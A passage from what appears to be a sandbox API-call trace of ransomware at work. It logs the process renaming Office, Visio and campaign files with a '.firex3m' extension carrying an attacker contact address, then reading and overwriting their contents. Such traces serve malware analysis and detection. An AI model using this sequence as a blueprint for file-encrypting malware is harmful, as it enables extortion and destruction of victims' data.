office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.567] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0xff00b748, dwReserved1=0x74006e, cFileName="SPRING.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPRING~1.FIR")) returned 0x6d5040 [0210.568] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0210.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0210.568] GetProcessHeap () returned 0x630000 [0210.568] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dbf38 [0210.568] GetProcessHeap () returned 0x630000 [0210.568] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc130 [0210.568] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.568] ReadFile (in: hFile=0x6d4, lpBuffer=0x6dbf38, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbf38*, lpNumberOfBytesRead=0x4bfff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0210.570] GetProcessHeap () returned 0x630000 [0210.571] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0210.571] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.571] WriteFile (in: hFile=0x6d4, lpBuffer=0x6dc130*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc130*, lpNumberOfBytesWritten=0x4bfff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0210.571] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.571] WriteFile (in: hFile=0x6d4, lpBuffer=0x6dc2ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2ef*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0210.571] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.571] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0210.571] CloseHandle (hObject=0x6d4) returned 1 [0210.571] GetProcessHeap () returned 0x630000 [0210.571] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc130 | out: hHeap=0x630000) returned 1 [0210.571] GetProcessHeap () returned 0x630000 [0210.571] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbf38 | out: hHeap=0x630000) returned 1 [0210.571] GetProcessHeap () returned 0x630000 [0210.571] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0210.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x43742e14, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x4bffd20, dwReserved1=0x6dbf38, cFileName="SPRING.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPRING~1.FIR")) returned 0x6d5000 [0210.572] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0210.572] Sleep (dwMilliseconds=0x1) [0212.178] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX", len=0x6f | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 1 [0212.178] GetProcessHeap () returned 0x630000 [0212.178] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e34) returned 0x6fe4288 [0212.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0212.179] CloseHandle (hObject=0x640) returned 1 [0212.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0212.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0212.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f6e784, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0xe408c02c, dwReserved1=0x63005b, cFileName="GBCBIG.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GBCBIG~1.FIR")) returned 0x6d5580 [0212.180] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0212.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0212.180] GetProcessHeap () returned 0x630000 [0212.180] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x747dcc8 [0212.180] GetProcessHeap () returned 0x630000 [0212.180] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74890f8 [0212.180] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.180] ReadFile (in: hFile=0x640, lpBuffer=0x747dcc8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x747dcc8*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.254] GetProcessHeap () returned 0x630000 [0219.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0219.254] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.254] WriteFile (in: hFile=0x640, lpBuffer=0x74890f8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74890f8*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.255] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.255] WriteFile (in: hFile=0x640, lpBuffer=0x74944f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74944f7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.257] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.258] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.258] CloseHandle (hObject=0x640) returned 1 [0219.258] GetProcessHeap () returned 0x630000 [0219.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74890f8 | out: hHeap=0x630000) returned 1 [0219.258] GetProcessHeap () returned 0x630000 [0219.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x747dcc8 | out: hHeap=0x630000) returned 1 [0219.258] GetProcessHeap () returned 0x630000 [0219.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0219.258] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x48a1ea0a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdc6dd, dwReserved0=0xb907496, dwReserved1=0x747dcc0, cFileName="GBCBIG.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GBCBIG~1.FIR")) returned 0x6d51c0 [0219.259] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.259] Sleep (dwMilliseconds=0x1) [0220.904] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x4bfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml") returned 1 [0220.904] GetProcessHeap () returned 0x630000 [0220.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5110) returned 0x6fe3bb0 [0220.904] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.904] CloseHandle (hObject=0x5ec) returned 1 [0220.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.904] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0220.905] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0220.905] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.906] GetProcessHeap () returned 0x630000 [0220.906] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dbb48 [0220.906] GetProcessHeap () returned 0x630000 [0220.906] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dbd40 [0220.906] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.906] ReadFile (in: hFile=0x5ec, lpBuffer=0x6dbb48, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbb48*, lpNumberOfBytesRead=0x4bfff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0220.908] GetProcessHeap () returned 0x630000 [0220.908] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0220.908] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.908] WriteFile (in: hFile=0x5ec, lpBuffer=0x6dbd40*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbd40*, lpNumberOfBytesWritten=0x4bfff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0220.908] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.908] WriteFile (in: hFile=0x5ec, lpBuffer=0x6dbeff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbeff*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.911] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.911] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.911] CloseHandle (hObject=0x5ec) returned 1 [0220.911] GetProcessHeap () returned 0x630000 [0220.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbd40 | out: hHeap=0x630000) returned 1 [0220.911] GetProcessHeap () returned 0x630000 [0220.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbb48 | out: hHeap=0x630000) returned 1 [0220.911] GetProcessHeap () returned 0x630000 [0220.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0220.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x499ea32c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x4bffd20, dwReserved1=0x6dbb48, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5280 [0220.912] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0220.912] Sleep (dwMilliseconds=0x1) [0220.916] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x4bfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml") returned 1 [0220.916] GetProcessHeap () returned 0x630000 [0220.916] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x510c) returned 0x6fe3bb0 [0220.916] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.917] CloseHandle (hObject=0x5ec) returned 1 [0220.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.917] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5440 [0220.918] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0220.918] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.918] GetProcessHeap () returned 0x630000 [0220.918] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0220.918] GetProcessHeap () returned 0x630000 [0220.918] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0220.918] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.918] ReadFile (in: hFile=0x5ec, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x4bfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.921] GetProcessHeap () returned 0x630000 [0220.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0220.921] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.921] WriteFile (in: hFile=0x5ec, lpBuffer=0x74aa268*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesWritten=0x4bfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.921] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.921] WriteFile (in: hFile=0x5ec, lpBuffer=0x74aa407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa407*, 